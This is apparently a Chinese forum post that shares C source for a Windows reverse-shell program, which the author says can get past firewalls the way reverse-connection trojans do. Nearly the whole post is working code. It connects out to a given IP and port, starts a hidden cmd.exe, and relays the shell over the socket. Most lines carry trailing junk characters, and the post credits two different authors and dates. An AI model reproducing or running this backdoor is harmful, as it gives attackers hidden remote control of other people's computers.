这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \==Mgy2J8
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/* ============================== }Qh%Z)
Rebound port in Windows NT knzQ)iv&&
By wind,2006/7 ]''tuo2g8
===============================*/ D>kkA|>
#include UMH~Q`"
#include tPDB'S:&3
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#pragma comment(lib,"wsock32.lib") @h5 Q?I
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void OutputShell(); PPh1y;D
SOCKET sClient; !q8A!P4|'
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0Qg%48u
{"0n^!
void main(int argc,char **argv) !v*#E{r"g=
{ Is97>aid
WSADATA stWsaData; UJ`%uLR~
int nRet; 9lX[rBZ
SOCKADDR_IN stSaiClient,stSaiServer; V /)3d
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if(argc != 3) :~p_(rE
{ 6wb M$|yFj
printf("Useage:\n\rRebound DestIP DestPort\n"); nTsPX Tat
return; w_YY~Af
} nZ`=Up p)
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WSAStartup(MAKEWORD(2,2),&stWsaData); zu1gP/
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >P6U0
! &V,+}>)
stSaiClient.sin_family = AF_INET; eXdH)|l,\
stSaiClient.sin_port = htons(0); XV!UeBq
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); HPK}Z|Vl
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) mHc2v==X\-
{ TSsx^h8/
printf("Bind Socket Failed!\n"); "?YpF2pD
return; 6,]2;'
} ?#__#
#|lVQ@=
stSaiServer.sin_family = AF_INET; w$Mb+b$
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $'lJ_jL
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); K$M,d-
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l`];CALA4
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !p)cP"fa
{ [ HjGdC
printf("Connect Error!"); =IIE]<z
return; ,=P0rbtK
} t;[Q&Jl
OutputShell(); +>v{#A_u
} uMBb=
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void OutputShell() Q1
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{ 6:\z8fYD
char szBuff[1024]; _[
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SECURITY_ATTRIBUTES stSecurityAttributes; 98WJ"f_ #
OSVERSIONINFO stOsversionInfo; !v 3wl0
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,-BZsZ0~
STARTUPINFO stStartupInfo; yAc}4*;T/
char *szShell; UOIZ8Po
PROCESS_INFORMATION stProcessInformation; <7X+-%yb;
unsigned long lBytesRead; Rh7=,=u
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); y] ~X{v
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~0 n9In%
stSecurityAttributes.lpSecurityDescriptor = 0; !i6 aA1'
stSecurityAttributes.bInheritHandle = TRUE; j0jam:.p
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *Xd_=@L&B
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 14\!FCe)!
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .LNqU#a
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D%.<}vG
stStartupInfo.wShowWindow = SW_HIDE; 5{6ebq55"
stStartupInfo.hStdInput = hReadPipe; 1'* {VmM
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Xgm9>/y
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GetVersionEx(&stOsversionInfo); Eb9M;u
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switch(stOsversionInfo.dwPlatformId) ,#-^
{ 9a_(_g>S
case 1: 9$'Edi=6
szShell = "command.com"; =j~}];I
break; iAWoKW
default: sfNAGez
szShell = "cmd.exe"; BcoE&I?[m|
break; <kor;exeJ
} ;
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %25_
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send(sClient,szMsg,77,0); Ljxn}):[
while(1) VbX$i!>8
{ }fs;yPl,
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )+9D$m=P;
if(lBytesRead) egi?Qg
{ G8?<(.pi@
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); W.,J'
send(sClient,szBuff,lBytesRead,0); efP2 C\
} y]\R0lR
else i&FC-{|Z
{ QX~*aqS3s8
lBytesRead=recv(sClient,szBuff,1024,0); Dl/_jM
if(lBytesRead<=0) break; XT_BiZ%l5O
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?8C+wW
} et ]*5Y6
} bvR*sT#rg
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return; .< vg[
}